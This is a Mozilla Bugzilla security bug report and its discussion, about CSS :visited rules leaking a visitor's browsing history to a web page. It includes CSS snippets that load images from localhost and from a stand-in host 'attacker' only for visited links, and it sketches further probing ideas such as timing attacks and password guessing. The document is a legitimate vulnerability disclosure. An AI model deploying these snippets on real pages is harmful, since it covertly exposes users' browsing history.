Last Comment Bug 57351 - css on a:visited can load an image and/or reveal if visitor been to a site
: css on a:visited can load an image and/or reveal if visitor been to a site
Status: VERIFIED DUPLICATE of bug 147777
: privacy, testcase
Product: Core
Classification: Components
Component: Security (show other bugs)
: Trunk
: All All
: P3 major with 1 vote (vote)
: mozilla1.2alpha
Assigned To: Mitchell Stoltz (not reading bugmail)
: ckritzer (gone)
Mentors:
http://gemal.dk/browserspy/css.html
: 127041 (view as bug list)
Depends on:
Blocks:
  Show dependency treegraph
 
Reported: 2000-10-19 16:57 PDT by Jesse Ruderman
Modified: 2015-07-13 12:01 PDT (History)
11 users (show)
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
background image example (647 bytes, text/html)
2000-10-19 17:43 PDT, Jesse Ruderman
no flags Details
display:none example (949 bytes, text/html)
2000-10-19 17:44 PDT, Jesse Ruderman
no flags Details
Copy of www.alexandre-gomes.com exploit code that uses colors instead of images. (2.52 KB, text/html)
2006-09-19 16:18 PDT, Alexandre Gomes
no flags Details

Description Jesse Ruderman 2000-10-19 16:57:29 PDT
a:visited { background-image: url(http://localhost/); } 

generates a hit in my local server's log only when I visit a page containing 
visited links.


a:visited { display: none; } 

generates a hit only when the link it _not_ visited.


By setting up separate styles for each link on a page, it would be possible to 
find out which links from a list the user has already visited.  A devious 
scripter might also then load each of those sites (from his web server) to see 
where they link, and use the trick again to figure out which links the user had 
followed from the first set of pages.  It could possibly also be used to crack 
short/guessable passwords that are part of a url the user had visited, without 
generating network traffic.

The specs that describe how to handle visited links don't seem to address 
privacy and security.
http://www.w3.org/TR/html401/struct/links.html#h-12.2
http://www.w3.org/TR/REC-CSS2/selector.html#link-pseudo-classes
http://www.w3.org/TR/REC-CSS2/colors.html%23background-properties
http://www.w3.org/TR/REC-CSS2/generate.html#before-after-content


I haven't tried any of these, but it might be possible to:

- Tell whether a link is display:none (vs display:inline) by examining its 
contents (styles applied to classes apparently can't be accessed by elem.style)

- Push a plug-in off the screen with a huge a:visited font-size, and then ask a 
plug-in whether it (the plug-in) is on the screen or not.

- Set up a situation where a page takes longer to load if it is visited, either 
because the styles are more difficult to display or because the algorithm that 
finds out whether a link is visited takes nonzero time.  Then use JavaScript to 
time it.

- Set up colors so that an element is only visible if the link is visited, and 
then entice users to click on each of the visible elements.
Comment 1 Mitchell Stoltz (not reading bugmail) 2000-10-19 17:17:37 PDT
Clever idea...can you write me a sample exploit? It will be much easier for me
to get people's attention around here if I can show them an exploit.
Comment 2 Jesse Ruderman 2000-10-19 17:43:26 PDT
Created attachment 17559 [details]
background image example
Comment 3 Jesse Ruderman 2000-10-19 17:44:41 PDT
Created attachment 17560 [details]
display:none example
Comment 4 Jesse Ruderman 2000-10-25 19:46:11 PDT
Nominating for rtm consideration.  This allows a malicious page to find out 
which of a list of urls the user has visited.

Also nominating for an rtm release note.  We need a web developer release note 
if this is fixed by restricting which styles can be set on a:visited and 
a:link, or a user release note if this isn't fixed.
Comment 5 selmer (gone) 2000-10-27 20:39:45 PDT
How does one exploit this to track a user's movements through the web?  Is the
URL passed along with the image lookup as a referrer or something?  I don't have
a web server log, so I can't see how this allows the attacker to see the URLs.
(To put a different lookup on each link for a given page would seem difficult to
generalize.)

If this can easily be generalized to track pages not created by the attacker
then it seems like a large privacy hole.  Otherwise, I'm not sure how important
it really is.
Comment 6 Jesse Ruderman 2000-10-30 12:53:13 PST
Yes, this can track urls not controlled by the attacker, because a:visited and 
<body vlink=> don't look at domains.

To test multiple urls at once, try:

a.l1:visited { background-image: url(http://attacker/status/tree.gif?1); }
a.l2:visited { background-image: url(http://attacker/status/tree.gif?2); }

<a class="l1" href="http://www.slashdot.org/">link</a>
<a class="l2" href="http://bugzilla.mozilla.org/q">link</a>

(Use localhost as the image hostname to test with a local web server such as 
omnihttpd, or www.mozilla.org if you want to see the image backgrounds without 
verifying that your browser only loads the images when the link isn't visited.)
Comment 7 selmer (gone) 2000-10-30 23:26:28 PST
Your example still relies on the source of the page being changed.  Your links
have explicit classes that connect them back to the "attacking" CSS.  Target
pages out in the web will not be so accomodating.  So, my question still seems
unanswered.  How can you use this to see which pages I've visited in
netscape.com if I don't go to your special hacker page and click on things?

If I have to go to your evil page to make this exploit real, then it seems a
pretty small hole.
Comment 8 selmer (gone) 2000-10-30 23:27:15 PST
Sorry, forgot to preface that previous comment with "Perhaps I still don't
understand, ..."
Comment 9 Jesse Ruderman 2000-10-31 17:24:56 PST
Yes, you do have to visit to the attacker's page... or read an IM or (I think) 
an e-mail from the attacker.

The problem is that Mozilla lets pages say things about how unvisited and 
visited links show up on the current page that let server determine which links 
are visited and unvisited, such as "display this background image for visited 
links".  You don't have to follow the links while at the attacker's site for 
that to happen.  (Traditionally, browsers have let pages specify a color for 
visited and a color for unvisited links, and didn't let JS/DOM access the 
displayed color of any element.  That's not completely secure either, but it's 
much better.)

Some things websites could find out using this hole:
- What major sites I've visited (from a list of major sites)
- What threads I have read on slashdot (threat to anonymity..)
- What categories I've looked at on yahoo/odp
- What I've downloaded from tucows
Comment 10 lchiang 2000-11-02 22:43:17 PST
mstoltz: what is your opinion on this?
Comment 11 selmer (gone) 2000-11-04 23:58:56 PST
Would the prefs for "use my color" and "use my font" override these evil
external css settings?  Would that be a global control to turn this off?  If so,
it would be similar to the master setting to prevent java or javascript from
running and would make this bug easier to live with.

Is there any other way to turn off the malicious stuff if I'm worried about the
threat?
Comment 12 Gervase Markham [:gerv] 2000-11-05 14:29:14 PST
This is far too complex to relnote, surely? (And I think it's too late 
anyway...) Nominate if you disagree.

Gerv
Comment 13 Michael La Guardia 2000-11-05 23:58:27 PST
I tend to agree with Steve that we could ship with this properly noted.  I would
like to hear Mitch's final comments on this as well as Jar's.
Comment 14 Mitchell Stoltz (not reading bugmail) 2000-11-06 13:21:27 PST
I would not hold ship for this.
Comment 15 selmer (gone) 2000-11-06 17:22:56 PST
rtm-, not stop ship.
Comment 16 John Unruh 2000-11-14 10:20:29 PST
Mass changing QA to ckritzer.
Comment 17 Mitchell Stoltz (not reading bugmail) 2001-03-08 17:11:38 PST
Mass changing milestone to Moz1.0 - stuff targeted for late spring/early summer.
Comment 18 Mitchell Stoltz (not reading bugmail) 2001-10-31 15:03:03 PST
Less important bugs retargeted to 0.9.9
Comment 19 Mitchell Stoltz (not reading bugmail) 2002-02-22 15:59:04 PST
*** Bug 127041 has been marked as a duplicate of this bug. ***
Comment 21 Henrik Gemal 2002-02-23 02:43:35 PST
Someone told me this was fixed in IE6 for WinXP. But WinXP only.

to me this "exploit" is not that bad. Severity = Major is overkill...:)
Comment 22 Jonas Jørgensen 2002-02-24 05:09:11 PST
From bug 127041:

> I just can't think of a way to solve it without getting rid of the
> "visited" rule in CSS.

Why not just always retrieve the background image for :visited regardless of
whether it is needed or not?
Comment 23 Ben Bucksch (:BenB) 2002-02-24 05:32:35 PST
See dup bug for the source of a simple exploit.

> Would the prefs for "use my color" and "use my font" override these evil
> external css settings? 

No, surprisingly not. (Just tried it.)

 From dup bug: 
> *please* give me your thoughts on the severity of this problem. 

I think that it's a privacy threat that has to be fixed. Not a world-stopper,
but worth to violate any DOM specs, if they require it.
Comment 24 Andrew Clover 2002-04-28 16:54:35 PDT
It's a privacy threat, but, as I pointed out in the advisory above, there is no
simple solution.

Retrieving an unneeded background image is one thing, but it simply isn't
possible to prevent client-side scripting from discovering how styles have been
applied without removing basically all of Views and the ability to read the
positions of elements. Authors are already reliant on these capabilities and
Mozilla needs them to compete with IE.

The only effective solution I can think of would be to mark links as visited
only if they point to a page on the same domain as the current page. And that
would probably be an unacceptable degradation of functionality to many people.
But maybe it could be an option.
Comment 25 Ben Bucksch (:BenB) 2002-04-28 17:41:13 PDT
> The only effective solution I can think of would be to mark links as visited
> only if they point to a page on the same domain as the current page. And that
> would probably be an unacceptable degradation of functionality to many people.

I guess I am one of those "many people".

I don't think that the DOM CSS attributes are part of the spec.

An option would be to lie to the page. If the page retrieves the values of the
visited element, give it the values that it would have, if it were merely a
linked (non-visited) element.
Comment 26 Mitchell Stoltz (not reading bugmail) 2003-01-08 12:26:55 PST

*** This bug has been marked as a duplicate of 147777 ***
Comment 27 Jesse Ruderman 2003-01-08 17:39:27 PST
verif dup, later bug has a partial patch.
Comment 28 Jesse Houwing 2003-06-12 08:23:21 PDT
easiest solution would be to cache all images in the stylesheet. Then there is
no way to tell which link has, and which link has not been visited.

This already happens for parts that have been hidden using display:block, any
image that is hidden this way is transferred anyway.
Comment 29 Alexandre Gomes 2006-09-19 16:17:41 PDT
For a while I've researched this "Exploit" tecnique and a few days back I posted about it in my blog. I'm now posting here some info because a visitor told me about this bug report.

In here you can read some details and toughts about it: http://www.alexandre-gomes.com/?p=87

And the actual "exploit" can be found here: http://www.alexandre-gomes.com/privacy2.html

Its pure javascript and the big news to this bug report is that you don't actually need any images to do the trick. I used colors and javascript, yet many other properties could be used.

Altough the user needs to have javascript enabled, as I tell in my post this can be easily used by an attackers site, with AJAX, to check a huge ammount of URLS. This is what I'm worried about.
Comment 30 Alexandre Gomes 2006-09-19 16:18:59 PDT
Created attachment 239265 [details]
Copy of www.alexandre-gomes.com exploit code that uses colors instead of images.
Comment 31 Alexandre Gomes 2006-09-19 16:20:40 PDT
By the way, this code runs on IE too (just adding because I read in the comments this was to be, or already is, fixed in IE).
Comment 32 Daniel Veditz [:dveditz] 2006-09-29 13:44:21 PDT
> Its pure javascript and the big news to this bug report is that you don't
> actually need any images to do the trick. I used colors and javascript, yet
> many other properties could be used.

It's big, but old news. See bug 147777 that this bug is a duplicate of. (Normally we prefer to dupe to the older bug. When we don't it's because significant investigation has gone on in the newer bug before the duplication was discovered).
Comment 33 Vanessa 2015-07-13 12:00:00 PDT Comment hidden (spam)
Comment 34 Vanessa 2015-07-13 12:01:10 PDT Comment hidden (spam)
Comment 35 Vanessa 2015-07-13 12:01:11 PDT Comment hidden (spam)

Note You need to log in before you can comment on or make changes to this bug.